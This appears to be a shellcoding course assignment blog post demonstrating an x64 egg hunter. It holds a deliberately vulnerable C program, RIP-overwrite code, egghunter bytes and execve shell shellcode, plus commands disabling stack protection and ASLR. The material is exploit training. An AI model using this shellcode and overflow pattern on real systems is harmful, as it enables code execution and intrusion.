This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #3
The aim of this assignment is to demonstrate the use of the « egg hunter » technique.
The « egg hunter » is a very small payload that searchs through memory for the real payload to launch and run.
This technique is usefull when you don’t have enough place on the stack to put the real payload.
So here, I’ve written a small piece of C code that demonstrates this technique.
First there is a vulnerable function « vuln() » :
int vuln() { char buf[80]; memcpy(buf, buffer_overflow, 400); }
This function wants to copy a big array of chars (400 characters) into a smaller array of chars (80 characters).
It’s possible to exploit this buffer overflow by overwriting the return pointer execution, the RIP register.
In order to find the exact position in the buffer, I’ve previously filled the buffer with random characters. Then I’ve launched the program under gdb and waited for the crash. At that moment I’ve looked at the characters located at the top of the stack, on the RSP register. After some tries and errors, I’ve found the exact position in the buffer where to replace the RIP address.
All of this is coded in the set_buffer_overflow() function.
You can see here that I’ve replaced the RIP with the address of the egghunter array of chars :
// Get egghunter address unsigned long sc_addr = (unsigned long)&egghunter; // Convert unsigned long egghunter address to an array of char int i; char adr[sizeof(unsigned long)]; for(i = 0; i < sizeof(unsigned long); ++i) { adr[i] = sc_addr & 0xff; rip[i] = adr[i]; sc_addr >>= 8; }
So now what about the egghunter payload. It’s an assembly x64 code that searchs through memory for the real payload using a marker, this is the « egg ». The egg I’ve chosen here is the « SLAE » string 🙂 where SLAE = \x53\x4c\x41\x45
In order to search through memory you need to start from a far enough address (otherwise you’ll be in an infinite loop), compare with the EGG and then go downward. If you wonder why downward and not to the up, just debug the code under gdb and print the address of the different variables, you’ll understand how variables are located in memory :
root@pentester-VirtualBox:~# gcc -fno-stack-protector -g -z execstack egghunter.c -o egghunter root@pentester-VirtualBox:~# gdb ./egghunter GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04 Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>... Reading symbols from /root/egghunter...done. gdb-peda$ print &egghunter $1 = (unsigned char (*)[26]) 0x6010a0 gdb-peda$ print &shellcode $2 = (unsigned char (*)[32]) 0x6010c0 gdb-peda$
So here is the code the egghunter :
lea rcx, [rip] add rcx, 0xff inc rcx cmp DWORD PTR [rcx-0x4], EGG jne -6 jmp rcx
Finally when the egg is found, we just need to jump to the real payload, the shellcode :
unsigned char shellcode[] = "SLAE" // EGG "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
In order to work correctly, this code needs to be compiled with the -fno-stack-protector -z execstack options and the ASLR must be disabled.
Here is a screenshot of the running program, you can see the execution of the shellcode :
Full source code is available here and on my Github account.
Source code of egghunter.c
/* Student ID: PA-6470 (kahlon81) */ /* SLAE64 */ /* Tested on Ubuntu 12.04 LTS */ /* Compile: gcc -fno-stack-protector -z execstack egghunter.c -o egghunter */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <string.h> #include <unistd.h> // Exploit buffer overflow overwriting RIP (RIP will be set in little endian order) unsigned char buffer_overflow[400]; unsigned char overflow[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; /* * Search for EGG SLAE */ unsigned char egghunter[] = "\x48\x8D\x0D\x00\x00\x00\x00" // lea rcx, [rip] "\x48\x83\xc1\x19" // add rcx, 0xff "\x48\xff\xc1" // inc rcx "\x81\x79\xfc\x53\x4c\x41\x45" // cmp DWORD PTR [rcx-0x4], EGG "\x75\xf4" // jne -6 "\xff\xe1"; // jmp rcx unsigned char shellcode[] = "SLAE" // EGG "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int vuln() { char buf[80]; memcpy(buf, buffer_overflow, 400); } void set_buffer_overflow() { int ov_size = sizeof(overflow); unsigned char rip[8]; // Get egghunter address unsigned long sc_addr = (unsigned long)&egghunter; // Convert unsigned long egghunter address to an array of char int i; char adr[sizeof(unsigned long)]; for(i = 0; i < sizeof(unsigned long); ++i) { adr[i] = sc_addr & 0xff; rip[i] = adr[i]; sc_addr >>= 8; } // set buffer overflow memcpy(buffer_overflow, overflow, ov_size); // Ovverride RIP address memcpy(buffer_overflow + ov_size - 1, rip, 8); } int main(int argc, char *argv[]) { printf("Try to exec shellcode\r\n"); set_buffer_overflow(); vuln(); return 0; }